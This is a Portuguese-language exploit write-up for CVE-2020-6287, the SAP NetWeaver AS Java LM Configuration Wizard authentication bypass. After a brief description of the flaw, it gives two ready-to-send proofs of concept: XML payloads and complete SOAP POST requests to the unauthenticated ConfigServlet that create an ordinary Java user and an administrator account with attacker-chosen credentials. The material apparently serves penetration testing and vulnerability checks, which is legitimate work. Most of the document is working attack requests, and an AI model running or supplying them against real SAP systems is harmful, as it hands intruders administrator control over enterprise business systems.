
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Bypass de Autenticação (Criar Usuário Java Simples e Administrador)
[CVE-2020-6287] SAP NetWeaver AS JAVA (LM Configuration Wizard) Bypass de Autenticação (Criar Usuário Java Simples e Administrador)
O SAP NetWeaver é a plataforma de tecnologia integrada da SAP e a base técnica de todos os aplicativos SAP desde o SAP Business Suite. O SAP NetWeaver é uma plataforma de aplicação e integração orientada a serviços que fornece um ambiente de desenvolvimento e execução para aplicativos SAP, podendo também ser usado para desenvolvimento personalizado e integração com outros aplicativos e sistemas. O SAP NetWeaver AS JAVA (LM Configuration Wizard), versões 7.30, 7.31, 7.40, 7.50, não realiza verificação de autenticação, o que permite que um invasor sem autenticação prévia execute tarefas de configuração para realizar ações críticas contra o sistema Java da SAP, incluindo a capacidade de criar um usuário administrativo e, portanto, comprometer a Confidencialidade, a Integridade e a Disponibilidade do sistema, resultando na ausência de verificação de autenticação.
GET /CTCWebService/CTCWebServiceBean?wsdlProva de Conceito (PoC) 1Prova de Conceito (PoC) 2CVE-2020-6286Prova de Conceito (PoC) 1: Criar usuário Java simples
Payload
<root>
<user>
<JavaOrABAP>java</JavaOrABAP>
<username>pentestuser</username>
<password>v3rystr0ngp@ssw0rd</password>
<userType></userType>
</user>
</root>
Codifique o payload acima em Base64 e insira no campo <BASE64_ENCODED_PAYLOAD_HERE> da requisição abaixo
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>
Prova de Conceito (PoC) 2: Criar usuário Java administrador
Payload
<PCK>
<Usermanagement>
<SAP_XI_PCK_CONFIG>
<roleName>Administrator</roleName>
</SAP_XI_PCK_CONFIG>
<SAP_XI_PCK_COMMUNICATION>
<roleName>ThisIsRnd9326</roleName>
</SAP_XI_PCK_COMMUNICATION>
<SAP_XI_PCK_MONITOR>
<roleName>ThisIsRnd5031</roleName>
</SAP_XI_PCK_MONITOR>
<SAP_XI_PCK_ADMIN>
<roleName>ThisIsRnd9846</roleName>
</SAP_XI_PCK_ADMIN>
<PCKUser>
<userName secure="true">pentestuser</userName>
<password secure="true">v3rystr0ngp@ssw0rd</password>
</PCKUser>
<PCKReceiver>
<userName>ThisIsRnd6461</userName>
<password secure="true">ThisIsRnd5525</password>
</PCKReceiver>
<PCKMonitor>
<userName>ThisIsRnd9457</userName>
<password secure="true">ThisIsRnd9037</password>
</PCKMonitor>
<PCKAdmin>
<userName>ThisIsRnd8386</userName>
<password secure="true">ThisIsRnd8477</password>
</PCKAdmin>
</Usermanagement>
</PCK>
Codifique o payload acima em Base64 e insira no campo <BASE64_ENCODED_PAYLOAD_HERE> da requisição abaixo
POST /CTCWebService/CTCWebServiceBean/ConfigServlet HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0 CVE-2020-6287 PoC
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:urn=\"urn:CTCWebServiceSi\">
<soapenv:Header />
<soapenv:Body>
<urn:executeSynchronious>
<identifier>
<component>sap.com/tc~lm~config~content</component>
<path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path>
</identifier>
<contextMessages>
<baData>BASE64_ENCODED_PAYLOAD_HERE</baData>
<name>userDetails</name>
</contextMessages>
</urn:executeSynchronious>
</soapenv:Body>
</soapenv:Envelope>